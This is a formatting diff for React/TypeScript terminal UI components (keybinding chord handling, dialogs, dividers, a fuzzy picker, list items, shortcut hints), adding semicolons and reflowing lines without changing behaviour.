pendingChordRef: React.RefObject<ParsedKeystroke[] | null>
setPendingChord: (pending: ParsedKeystroke[] | null) => void
activeContexts: Set<KeybindingContextName>
handlerRegistryRef: React.RefObject<Map<string, Set<HandlerRegistration>>>
bindings: ParsedBinding[];
pendingChordRef: React.RefObject<ParsedKeystroke[] | null>;
setPendingChord: (pending: ParsedKeystroke[] | null) => void;
activeContexts: Set<KeybindingContextName>;
handlerRegistryRef: React.RefObject<Map<string, Set<HandlerRegistration>>>;
}): null {
const handleInput = useCallback(
(input: string, key: Key, event: InputEvent) => {
@@ -228,94 +216,78 @@ function ChordInterceptor({
// here. Skip the registry scan. Mid-chord wheel still falls through so
// scrolling cancels the pending chord like any other non-matching key.
if ((key.wheelUp || key.wheelDown) && pendingChordRef.current === null) {
return
return;
}
// Build context list from registered handlers + activeContexts + Global
const registry = handlerRegistryRef.current
const handlerContexts = new Set<KeybindingContextName>()
const registry = handlerRegistryRef.current;
const handlerContexts = new Set<KeybindingContextName>();
if (registry) {
for (const handlers of registry.values()) {
for (const registration of handlers) {
handlerContexts.add(registration.context)
handlerContexts.add(registration.context);
}
}
}
const contexts: KeybindingContextName[] = [
...handlerContexts,
...activeContexts,
'Global',
]
const contexts: KeybindingContextName[] = [...handlerContexts, ...activeContexts, 'Global'];
// Track whether we're completing a chord (pending was non-null)
const wasInChord = pendingChordRef.current !== null
const wasInChord = pendingChordRef.current !== null;
// Check if this keystroke is part of a chord sequence
const result = resolveKeyWithChordState(
input,
key,
contexts,
bindings,
pendingChordRef.current,
)
const result = resolveKeyWithChordState(input, key, contexts, bindings, pendingChordRef.current);
switch (result.type) {
case 'chord_started':
// This key starts a chord - store pending state and stop propagation
setPendingChord(result.pending)
event.stopImmediatePropagation()
break
setPendingChord(result.pending);
event.stopImmediatePropagation();
break;
case 'match': {
// Clear pending state
setPendingChord(null)
setPendingChord(null);
// Only invoke handlers and stop propagation for chord completions
// (multi-keystroke sequences). Single-keystroke matches should propagate
// to per-hook handlers to avoid interfering with other input handling.
if (wasInChord) {
const contextsSet = new Set(contexts)
const contextsSet = new Set(contexts);
if (registry) {
const handlers = registry.get(result.action)
const handlers = registry.get(result.action);
if (handlers && handlers.size > 0) {
for (const registration of handlers) {
if (contextsSet.has(registration.context)) {
registration.handler()
event.stopImmediatePropagation()
break
registration.handler();
event.stopImmediatePropagation();
break;
}
}
}
}
}
break
break;
}
case 'chord_cancelled':
setPendingChord(null)
event.stopImmediatePropagation()
break
setPendingChord(null);
event.stopImmediatePropagation();
break;
case 'unbound':
setPendingChord(null)
event.stopImmediatePropagation()
break
setPendingChord(null);
event.stopImmediatePropagation();
break;
case 'none':
// No chord involvement - let other handlers process
break
break;
}
},
[
bindings,
pendingChordRef,
setPendingChord,
activeContexts,
handlerRegistryRef,
],
)
[bindings, pendingChordRef, setPendingChord, activeContexts, handlerRegistryRef],
);
useInput(handleInput)
useInput(handleInput);
return null
return null;
}

View File

@@ -1,10 +1,10 @@
import React, { Children, isValidElement } from 'react'
import { Text } from '../index.js'
import React, { Children, isValidElement } from 'react';
import { Text } from '../index.js';
type Props = {
/** The items to join with a middot separator */
children: React.ReactNode
}
children: React.ReactNode;
};
/**
* Joins children with a middot separator (" · ") for inline metadata display.
@@ -36,22 +36,20 @@ type Props = {
*/
export function Byline({ children }: Props): React.ReactNode {
// Children.toArray already filters out null, undefined, and booleans
const validChildren = Children.toArray(children)
const validChildren = Children.toArray(children);
if (validChildren.length === 0) {
return null
return null;
}
return (
<>
{validChildren.map((child, index) => (
<React.Fragment
key={isValidElement(child) ? (child.key ?? index) : index}
>
<React.Fragment key={isValidElement(child) ? (child.key ?? index) : index}>
{index > 0 && <Text dimColor> · </Text>}
{child}
</React.Fragment>
))}
</>
)
);
}

View File

@@ -6,30 +6,18 @@
* internal theme components.
*/
import React from 'react'
import { KeyboardShortcutHint } from './KeyboardShortcutHint.js'
import React from 'react';
import { KeyboardShortcutHint } from './KeyboardShortcutHint.js';
type Props = {
action: string
context: string
fallback: string
description: string
parens?: boolean
bold?: boolean
}
action: string;
context: string;
fallback: string;
description: string;
parens?: boolean;
bold?: boolean;
};
export function ConfigurableShortcutHint({
fallback,
description,
parens,
bold,
}: Props): React.ReactNode {
return (
<KeyboardShortcutHint
shortcut={fallback}
action={description}
parens={parens}
bold={bold}
/>
)
export function ConfigurableShortcutHint({ fallback, description, parens, bold }: Props): React.ReactNode {
return <KeyboardShortcutHint shortcut={fallback} action={description} parens={parens} bold={bold} />;
}

View File

@@ -1,26 +1,23 @@
import React from 'react'
import {
type ExitState,
useExitOnCtrlCDWithKeybindings,
} from '../hooks/useExitOnCtrlCD.js'
import { Box, Text } from '../index.js'
import { useKeybinding } from '../keybindings/useKeybinding.js'
import type { Theme } from './theme-types.js'
import { ConfigurableShortcutHint } from './ConfigurableShortcutHint.js'
import { Byline } from './Byline.js'
import { KeyboardShortcutHint } from './KeyboardShortcutHint.js'
import { Pane } from './Pane.js'
import React from 'react';
import { type ExitState, useExitOnCtrlCDWithKeybindings } from '../hooks/useExitOnCtrlCD.js';
import { Box, Text } from '../index.js';
import { useKeybinding } from '../keybindings/useKeybinding.js';
import type { Theme } from './theme-types.js';
import { ConfigurableShortcutHint } from './ConfigurableShortcutHint.js';
import { Byline } from './Byline.js';
import { KeyboardShortcutHint } from './KeyboardShortcutHint.js';
import { Pane } from './Pane.js';
type DialogProps = {
title: React.ReactNode
subtitle?: React.ReactNode
children: React.ReactNode
onCancel: () => void
color?: keyof Theme
hideInputGuide?: boolean
hideBorder?: boolean
title: React.ReactNode;
subtitle?: React.ReactNode;
children: React.ReactNode;
onCancel: () => void;
color?: keyof Theme;
hideInputGuide?: boolean;
hideBorder?: boolean;
/** Custom input guide content. Receives exitState for Ctrl+C/D pending display. */
inputGuide?: (exitState: ExitState) => React.ReactNode
inputGuide?: (exitState: ExitState) => React.ReactNode;
/**
* Controls whether Dialog's built-in confirm:no (Esc/n) and app:exit/interrupt
* (Ctrl-C/D) keybindings are active. Set to `false` while an embedded text
@@ -28,8 +25,8 @@ type DialogProps = {
* consumed by Dialog. TextInput has its own ctrl+c/d handlers (cancel on
* press, delete-forward on ctrl+d with text). Defaults to `true`.
*/
isCancelActive?: boolean
}
isCancelActive?: boolean;
};
export function Dialog({
title,
@@ -42,11 +39,7 @@ export function Dialog({
inputGuide,
isCancelActive = true,
}: DialogProps): React.ReactNode {
const exitState = useExitOnCtrlCDWithKeybindings(
undefined,
undefined,
isCancelActive,
)
const exitState = useExitOnCtrlCDWithKeybindings(undefined, undefined, isCancelActive);
// Use configurable keybinding for ESC to cancel.
// isCancelActive lets consumers (e.g. ElicitationDialog) disable this while
@@ -55,21 +48,16 @@ export function Dialog({
useKeybinding('confirm:no', onCancel, {
context: 'Confirmation',
isActive: isCancelActive,
})
});
const defaultInputGuide = exitState.pending ? (
<Text>Press {exitState.keyName} again to exit</Text>
) : (
<Byline>
<KeyboardShortcutHint shortcut="Enter" action="confirm" />
<ConfigurableShortcutHint
action="confirm:no"
context="Confirmation"
fallback="Esc"
description="cancel"
/>
<ConfigurableShortcutHint action="confirm:no" context="Confirmation" fallback="Esc" description="cancel" />
</Byline>
)
);
const content = (
<>
@@ -90,11 +78,11 @@ export function Dialog({
</Box>
)}
</>
)
);
if (hideBorder) {
return content
return content;
}
return <Pane color={color}>{content}</Pane>
return <Pane color={color}>{content}</Pane>;
}

View File

@@ -1,33 +1,33 @@
import React from 'react'
import { useTerminalSize } from '../hooks/useTerminalSize.js'
import { stringWidth } from '../core/stringWidth.js'
import { Ansi, Text } from '../index.js'
import type { Theme } from './theme-types.js'
import React from 'react';
import { useTerminalSize } from '../hooks/useTerminalSize.js';
import { stringWidth } from '../core/stringWidth.js';
import { Ansi, Text } from '../index.js';
import type { Theme } from './theme-types.js';
type DividerProps = {
/**
* Width of the divider in characters.
* Defaults to terminal width.
*/
width?: number
width?: number;
/**
* Theme color for the divider.
* If not provided, dimColor is used.
*/
color?: keyof Theme
color?: keyof Theme;
/**
* Character to use for the divider line.
* @default '─'
*/
char?: string
char?: string;
/**
* Padding to subtract from the width (e.g., for indentation).
* @default 0
*/
padding?: number
padding?: number;
/**
* Title shown in the middle of the divider.
@@ -37,8 +37,8 @@ type DividerProps = {
* // ─────────── Title ───────────
* <Divider title="Title" />
*/
title?: string
}
title?: string;
};
/**
* A horizontal divider line.
@@ -63,21 +63,15 @@ type DividerProps = {
* // With centered title
* <Divider title="3 new messages" />
*/
export function Divider({
width,
color,
char = '─',
padding = 0,
title,
}: DividerProps): React.ReactNode {
const { columns: terminalWidth } = useTerminalSize()
const effectiveWidth = Math.max(0, (width ?? terminalWidth) - padding)
export function Divider({ width, color, char = '─', padding = 0, title }: DividerProps): React.ReactNode {
const { columns: terminalWidth } = useTerminalSize();
const effectiveWidth = Math.max(0, (width ?? terminalWidth) - padding);
if (title) {
const titleWidth = stringWidth(title) + 2 // +2 for spaces around title
const sideWidth = Math.max(0, effectiveWidth - titleWidth)
const leftWidth = Math.floor(sideWidth / 2)
const rightWidth = sideWidth - leftWidth
const titleWidth = stringWidth(title) + 2; // +2 for spaces around title
const sideWidth = Math.max(0, effectiveWidth - titleWidth);
const leftWidth = Math.floor(sideWidth / 2);
const rightWidth = sideWidth - leftWidth;
return (
<Text color={color} dimColor={!color}>
{char.repeat(leftWidth)}{' '}
@@ -86,12 +80,12 @@ export function Divider({
</Text>{' '}
{char.repeat(rightWidth)}
</Text>
)
);
}
return (
<Text color={color} dimColor={!color}>
{char.repeat(effectiveWidth)}
</Text>
)
);
}

View File

@@ -1,72 +1,72 @@
import * as React from 'react'
import { useEffect, useState } from 'react'
import { useSearchInput } from '../hooks/useSearchInput.js'
import { useTerminalSize } from '../hooks/useTerminalSize.js'
import type { KeyboardEvent } from '../core/events/keyboard-event.js'
import { clamp } from '../core/layout/geometry.js'
import { Box, Text, useTerminalFocus } from '../index.js'
import { SearchBox } from './SearchBox.js'
import { Byline } from './Byline.js'
import { KeyboardShortcutHint } from './KeyboardShortcutHint.js'
import { ListItem } from './ListItem.js'
import { Pane } from './Pane.js'
import * as React from 'react';
import { useEffect, useState } from 'react';
import { useSearchInput } from '../hooks/useSearchInput.js';
import { useTerminalSize } from '../hooks/useTerminalSize.js';
import type { KeyboardEvent } from '../core/events/keyboard-event.js';
import { clamp } from '../core/layout/geometry.js';
import { Box, Text, useTerminalFocus } from '../index.js';
import { SearchBox } from './SearchBox.js';
import { Byline } from './Byline.js';
import { KeyboardShortcutHint } from './KeyboardShortcutHint.js';
import { ListItem } from './ListItem.js';
import { Pane } from './Pane.js';
type PickerAction<T> = {
/** Hint label shown in the byline, e.g. "mention" → "Tab to mention". */
action: string
handler: (item: T) => void
}
action: string;
handler: (item: T) => void;
};
type Props<T> = {
title: string
placeholder?: string
initialQuery?: string
items: readonly T[]
getKey: (item: T) => string
title: string;
placeholder?: string;
initialQuery?: string;
items: readonly T[];
getKey: (item: T) => string;
/** Keep to one line — preview handles overflow. */
renderItem: (item: T, isFocused: boolean) => React.ReactNode
renderPreview?: (item: T) => React.ReactNode
renderItem: (item: T, isFocused: boolean) => React.ReactNode;
renderPreview?: (item: T) => React.ReactNode;
/** 'right' keeps hints stable (no bounce), but needs width. */
previewPosition?: 'bottom' | 'right'
visibleCount?: number
previewPosition?: 'bottom' | 'right';
visibleCount?: number;
/**
* 'up' puts items[0] at the bottom next to the input (atuin-style). Arrows
* always match screen direction — ↑ walks visually up regardless.
*/
direction?: 'down' | 'up'
direction?: 'down' | 'up';
/** Caller owns filtering: re-filter on each call and pass new items. */
onQueryChange: (query: string) => void
onQueryChange: (query: string) => void;
/** Enter key. Primary action. */
onSelect: (item: T) => void
onSelect: (item: T) => void;
/**
* Tab key. If provided, Tab no longer aliases Enter — it gets its own
* handler and hint. Shift+Tab falls through to this if onShiftTab is unset.
*/
onTab?: PickerAction<T>
onTab?: PickerAction<T>;
/** Shift+Tab key. Gets its own hint. */
onShiftTab?: PickerAction<T>
onShiftTab?: PickerAction<T>;
/**
* Fires when the focused item changes (via arrows or when items reset).
* Useful for async preview loading — keeps I/O out of renderPreview.
*/
onFocus?: (item: T | undefined) => void
onCancel: () => void
onFocus?: (item: T | undefined) => void;
onCancel: () => void;
/** Shown when items is empty. Caller bakes loading/searching state into this. */
emptyMessage?: string | ((query: string) => string)
emptyMessage?: string | ((query: string) => string);
/**
* Status line below the list, e.g. "500+ matches" or "42 matches…".
* Caller decides when to show it — pass undefined to hide.
*/
matchLabel?: string
selectAction?: string
extraHints?: React.ReactNode
}
matchLabel?: string;
selectAction?: string;
extraHints?: React.ReactNode;
};
const DEFAULT_VISIBLE = 8
const DEFAULT_VISIBLE = 8;
// Pane (paddingTop + Divider) + title + 3 gaps + SearchBox (rounded border = 3
// rows) + hints. matchLabel adds +1 when present, accounted for separately.
const CHROME_ROWS = 10
const MIN_VISIBLE = 2
const CHROME_ROWS = 10;
const MIN_VISIBLE = 2;
export function FuzzyPicker<T>({
title,
@@ -90,25 +90,22 @@ export function FuzzyPicker<T>({
selectAction = 'select',
extraHints,
}: Props<T>): React.ReactNode {
const isTerminalFocused = useTerminalFocus()
const { rows, columns } = useTerminalSize()
const [focusedIndex, setFocusedIndex] = useState(0)
const isTerminalFocused = useTerminalFocus();
const { rows, columns } = useTerminalSize();
const [focusedIndex, setFocusedIndex] = useState(0);
// Cap visibleCount so the picker never exceeds the terminal height. When it
// overflows, each re-render (arrow key, ctrl+p) mis-positions the cursor-up
// by the overflow amount and a previously-drawn line flashes blank.
const visibleCount = Math.max(
MIN_VISIBLE,
Math.min(requestedVisible, rows - CHROME_ROWS - (matchLabel ? 1 : 0)),
)
const visibleCount = Math.max(MIN_VISIBLE, Math.min(requestedVisible, rows - CHROME_ROWS - (matchLabel ? 1 : 0)));
// Full hint row with onTab+onShiftTab is ~100 chars and wraps inconsistently
// below that. Compact mode drops shift+tab and shortens labels.
const compact = columns < 120
const compact = columns < 120;
const step = (delta: 1 | -1) => {
setFocusedIndex(i => clamp(i + delta, 0, items.length - 1))
}
setFocusedIndex(i => clamp(i + delta, 0, items.length - 1));
};
// onKeyDown fires after useSearchInput's useInput, so onExit must be a
// no-op — return/downArrow are handled by handleKeyDown below. onCancel
@@ -120,67 +117,62 @@ export function FuzzyPicker<T>({
onCancel,
initialQuery,
backspaceExitsOnEmpty: false,
})
});
const handleKeyDown = (e: KeyboardEvent) => {
if (e.key === 'up' || (e.ctrl && e.key === 'p')) {
e.preventDefault()
e.stopImmediatePropagation()
step(direction === 'up' ? 1 : -1)
return
e.preventDefault();
e.stopImmediatePropagation();
step(direction === 'up' ? 1 : -1);
return;
}
if (e.key === 'down' || (e.ctrl && e.key === 'n')) {
e.preventDefault()
e.stopImmediatePropagation()
step(direction === 'up' ? -1 : 1)
return
e.preventDefault();
e.stopImmediatePropagation();
step(direction === 'up' ? -1 : 1);
return;
}
if (e.key === 'return') {
e.preventDefault()
e.stopImmediatePropagation()
const selected = items[focusedIndex]
if (selected) onSelect(selected)
return
e.preventDefault();
e.stopImmediatePropagation();
const selected = items[focusedIndex];
if (selected) onSelect(selected);
return;
}
if (e.key === 'tab') {
e.preventDefault()
e.stopImmediatePropagation()
const selected = items[focusedIndex]
if (!selected) return
const tabAction = e.shift ? (onShiftTab ?? onTab) : onTab
e.preventDefault();
e.stopImmediatePropagation();
const selected = items[focusedIndex];
if (!selected) return;
const tabAction = e.shift ? (onShiftTab ?? onTab) : onTab;
if (tabAction) {
tabAction.handler(selected)
tabAction.handler(selected);
} else {
onSelect(selected)
onSelect(selected);
}
}
}
};
useEffect(() => {
onQueryChange(query)
setFocusedIndex(0)
onQueryChange(query);
setFocusedIndex(0);
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [query])
}, [query]);
useEffect(() => {
setFocusedIndex(i => clamp(i, 0, items.length - 1))
}, [items.length])
setFocusedIndex(i => clamp(i, 0, items.length - 1));
}, [items.length]);
const focused = items[focusedIndex]
const focused = items[focusedIndex];
useEffect(() => {
onFocus?.(focused)
onFocus?.(focused);
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [focused])
}, [focused]);
const windowStart = clamp(
focusedIndex - visibleCount + 1,
0,
items.length - visibleCount,
)
const visible = items.slice(windowStart, windowStart + visibleCount)
const windowStart = clamp(focusedIndex - visibleCount + 1, 0, items.length - visibleCount);
const visible = items.slice(windowStart, windowStart + visibleCount);
const emptyText =
typeof emptyMessage === 'function' ? emptyMessage(query) : emptyMessage
const emptyText = typeof emptyMessage === 'function' ? emptyMessage(query) : emptyMessage;
const searchBox = (
<SearchBox
@@ -190,7 +182,7 @@ export function FuzzyPicker<T>({
isFocused
isTerminalFocused={isTerminalFocused}
/>
)
);
const listBlock = (
<List
@@ -204,25 +196,21 @@ export function FuzzyPicker<T>({
renderItem={renderItem}
emptyText={emptyText}
/>
)
);
const preview =
renderPreview && focused ? (
<Box flexDirection="column" flexGrow={1}>
{renderPreview(focused)}
</Box>
) : null
) : null;
// Structure must not depend on preview truthiness — when focused goes
// undefined (e.g. delete clears matches), switching row→fragment would
// change both layout AND gap count, bouncing the searchBox below.
const listGroup =
renderPreview && previewPosition === 'right' ? (
<Box
flexDirection="row"
gap={2}
height={visibleCount + (matchLabel ? 1 : 0)}
>
<Box flexDirection="row" gap={2} height={visibleCount + (matchLabel ? 1 : 0)}>
<Box flexDirection="column" flexShrink={0}>
{listBlock}
{matchLabel && <Text dimColor>{matchLabel}</Text>}
@@ -238,18 +226,12 @@ export function FuzzyPicker<T>({
{matchLabel && <Text dimColor>{matchLabel}</Text>}
{preview}
</Box>
)
);
const inputAbove = direction !== 'up'
const inputAbove = direction !== 'up';
return (
<Pane color="permission">
<Box
flexDirection="column"
gap={1}
tabIndex={0}
autoFocus
onKeyDown={handleKeyDown}
>
<Box flexDirection="column" gap={1} tabIndex={0} autoFocus onKeyDown={handleKeyDown}>
<Text bold color="permission">
{title}
</Text>
@@ -258,42 +240,26 @@ export function FuzzyPicker<T>({
{!inputAbove && searchBox}
<Text dimColor>
<Byline>
<KeyboardShortcutHint
shortcut="↑/↓"
action={compact ? 'nav' : 'navigate'}
/>
<KeyboardShortcutHint
shortcut="Enter"
action={compact ? firstWord(selectAction) : selectAction}
/>
{onTab && (
<KeyboardShortcutHint shortcut="Tab" action={onTab.action} />
)}
{onShiftTab && !compact && (
<KeyboardShortcutHint
shortcut="shift+tab"
action={onShiftTab.action}
/>
)}
<KeyboardShortcutHint shortcut="↑/↓" action={compact ? 'nav' : 'navigate'} />
<KeyboardShortcutHint shortcut="Enter" action={compact ? firstWord(selectAction) : selectAction} />
{onTab && <KeyboardShortcutHint shortcut="Tab" action={onTab.action} />}
{onShiftTab && !compact && <KeyboardShortcutHint shortcut="shift+tab" action={onShiftTab.action} />}
<KeyboardShortcutHint shortcut="Esc" action="cancel" />
{extraHints}
</Byline>
</Text>
</Box>
</Pane>
)
);
}
type ListProps<T> = Pick<
Props<T>,
'visibleCount' | 'direction' | 'getKey' | 'renderItem'
> & {
visible: readonly T[]
windowStart: number
total: number
focusedIndex: number
emptyText: string
}
type ListProps<T> = Pick<Props<T>, 'visibleCount' | 'direction' | 'getKey' | 'renderItem'> & {
visible: readonly T[];
windowStart: number;
total: number;
focusedIndex: number;
emptyText: string;
};
function List<T>({
visible,
@@ -311,15 +277,14 @@ function List<T>({
<Box height={visibleCount} flexShrink={0}>
<Text dimColor>{emptyText}</Text>
</Box>
)
);
}
const rows = visible.map((item, i) => {
const actualIndex = windowStart + i
const isFocused = actualIndex === focusedIndex
const atLowEdge = i === 0 && windowStart > 0
const atHighEdge =
i === visible.length - 1 && windowStart + visibleCount! < total
const actualIndex = windowStart + i;
const isFocused = actualIndex === focusedIndex;
const atLowEdge = i === 0 && windowStart > 0;
const atHighEdge = i === visible.length - 1 && windowStart + visibleCount! < total;
return (
<ListItem
key={getKey(item)}
@@ -330,21 +295,17 @@ function List<T>({
>
{renderItem(item, isFocused)}
</ListItem>
)
})
);
});
return (
<Box
height={visibleCount}
flexShrink={0}
flexDirection={direction === 'up' ? 'column-reverse' : 'column'}
>
<Box height={visibleCount} flexShrink={0} flexDirection={direction === 'up' ? 'column-reverse' : 'column'}>
{rows}
</Box>
)
);
}
function firstWord(s: string): string {
const i = s.indexOf(' ')
return i === -1 ? s : s.slice(0, i)
const i = s.indexOf(' ');
return i === -1 ? s : s.slice(0, i);
}

View File

@@ -1,16 +1,16 @@
import React from 'react'
import Text from '../components/Text.js'
import React from 'react';
import Text from '../components/Text.js';
type Props = {
/** The key or chord to display (e.g., "ctrl+o", "Enter", "↑/↓") */
shortcut: string
shortcut: string;
/** The action the key performs (e.g., "expand", "select", "navigate") */
action: string
action: string;
/** Whether to wrap the hint in parentheses. Default: false */
parens?: boolean
parens?: boolean;
/** Whether to render the shortcut in bold. Default: false */
bold?: boolean
}
bold?: boolean;
};
/**
* Renders a keyboard shortcut hint like "ctrl+o to expand" or "(tab to toggle)"
@@ -35,24 +35,19 @@ type Props = {
* </Byline>
* </Text>
*/
export function KeyboardShortcutHint({
shortcut,
action,
parens = false,
bold = false,
}: Props): React.ReactNode {
const shortcutText = bold ? <Text bold>{shortcut}</Text> : shortcut
export function KeyboardShortcutHint({ shortcut, action, parens = false, bold = false }: Props): React.ReactNode {
const shortcutText = bold ? <Text bold>{shortcut}</Text> : shortcut;
if (parens) {
return (
<Text>
({shortcutText} to {action})
</Text>
)
);
}
return (
<Text>
{shortcutText} to {action}
</Text>
)
);
}

View File

@@ -1,44 +1,44 @@
import figures from 'figures'
import type { ReactNode } from 'react'
import React from 'react'
import { useDeclaredCursor } from '../hooks/use-declared-cursor.js'
import { Box, Text } from '../index.js'
import figures from 'figures';
import type { ReactNode } from 'react';
import React from 'react';
import { useDeclaredCursor } from '../hooks/use-declared-cursor.js';
import { Box, Text } from '../index.js';
type ListItemProps = {
/**
* Whether this item is currently focused (keyboard selection).
* Shows the pointer indicator () when true.
*/
isFocused: boolean
isFocused: boolean;
/**
* Whether this item is selected (chosen/checked).
* Shows the checkmark indicator (✓) when true.
* @default false
*/
isSelected?: boolean
isSelected?: boolean;
/**
* The content to display for this item.
*/
children: ReactNode
children: ReactNode;
/**
* Optional description text displayed below the main content.
*/
description?: string
description?: string;
/**
* Show a down arrow indicator instead of pointer (for scroll hints).
* Only applies when not focused.
*/
showScrollDown?: boolean
showScrollDown?: boolean;
/**
* Show an up arrow indicator instead of pointer (for scroll hints).
* Only applies when not focused.
*/
showScrollUp?: boolean
showScrollUp?: boolean;
/**
* Whether to apply automatic styling to the children based on focus/selection state.
@@ -46,21 +46,21 @@ type ListItemProps = {
* - When false: children are rendered as-is, allowing custom styling
* @default true
*/
styled?: boolean
styled?: boolean;
/**
* Whether this item is disabled. Disabled items show dimmed text and no indicators.
* @default false
*/
disabled?: boolean
disabled?: boolean;
/**
* Whether this ListItem should declare the terminal cursor position.
* Set false when a child (e.g. BaseTextInput) declares its own cursor.
* @default true
*/
declareCursor?: boolean
}
declareCursor?: boolean;
};
/**
* A list item component for selection UIs (dropdowns, multi-selects, menus).
@@ -115,46 +115,46 @@ export function ListItem({
// Determine which indicator to show
function renderIndicator(): ReactNode {
if (disabled) {
return <Text> </Text>
return <Text> </Text>;
}
if (isFocused) {
return <Text color="suggestion">{figures.pointer}</Text>
return <Text color="suggestion">{figures.pointer}</Text>;
}
if (showScrollDown) {
return <Text dimColor>{figures.arrowDown}</Text>
return <Text dimColor>{figures.arrowDown}</Text>;
}
if (showScrollUp) {
return <Text dimColor>{figures.arrowUp}</Text>
return <Text dimColor>{figures.arrowUp}</Text>;
}
return <Text> </Text>
return <Text> </Text>;
}
// Determine text color based on state
function getTextColor(): 'success' | 'suggestion' | 'inactive' | undefined {
if (disabled) {
return 'inactive'
return 'inactive';
}
if (!styled) {
return undefined
return undefined;
}
if (isSelected) {
return 'success'
return 'success';
}
if (isFocused) {
return 'suggestion'
return 'suggestion';
}
return undefined
return undefined;
}
const textColor = getTextColor()
const textColor = getTextColor();
// Park the native terminal cursor on the pointer indicator so screen
// readers / magnifiers track the focused item. (0,0) is the top-left of
@@ -163,7 +163,7 @@ export function ListItem({
line: 0,
column: 0,
active: isFocused && !disabled && declareCursor !== false,
})
});
return (
<Box ref={cursorRef} flexDirection="column">
@@ -184,5 +184,5 @@ export function ListItem({
</Box>
)}
</Box>
)
);
}

View File

@@ -1,30 +1,30 @@
import React from 'react'
import { Box, Text } from '../index.js'
import { Spinner } from './Spinner.js'
import React from 'react';
import { Box, Text } from '../index.js';
import { Spinner } from './Spinner.js';
type LoadingStateProps = {
/**
* The loading message to display next to the spinner.
*/
message: string
message: string;
/**
* Display the message in bold.
* @default false
*/
bold?: boolean
bold?: boolean;
/**
* Display the message in dimmed color.
* @default false
*/
dimColor?: boolean
dimColor?: boolean;
/**
* Optional subtitle displayed below the main message.
*/
subtitle?: string
}
subtitle?: string;
};
/**
* A spinner with loading message for async operations.
@@ -62,5 +62,5 @@ export function LoadingState({
</Box>
{subtitle && <Text dimColor>{subtitle}</Text>}
</Box>
)
);
}

View File

@@ -1,16 +1,16 @@
import React from 'react'
import { useIsInsideModal } from './modalContext.js'
import { Box } from '../index.js'
import type { Theme } from './theme-types.js'
import { Divider } from './Divider.js'
import React from 'react';
import { useIsInsideModal } from './modalContext.js';
import { Box } from '../index.js';
import type { Theme } from './theme-types.js';
import { Divider } from './Divider.js';
type PaneProps = {
children: React.ReactNode
children: React.ReactNode;
/**
* Theme color for the top border line.
*/
color?: keyof Theme
}
color?: keyof Theme;
};
/**
* A pane — a region of the terminal that appears below the REPL prompt,
@@ -44,7 +44,7 @@ export function Pane({ children, color }: PaneProps): React.ReactNode {
<Box flexDirection="column" paddingX={1} flexShrink={0}>
{children}
</Box>
)
);
}
return (
<Box flexDirection="column" paddingTop={1}>
@@ -53,5 +53,5 @@ export function Pane({ children, color }: PaneProps): React.ReactNode {
{children}
</Box>
</Box>
)
);
}

Some files were not shown because too many files have changed in this diff Show More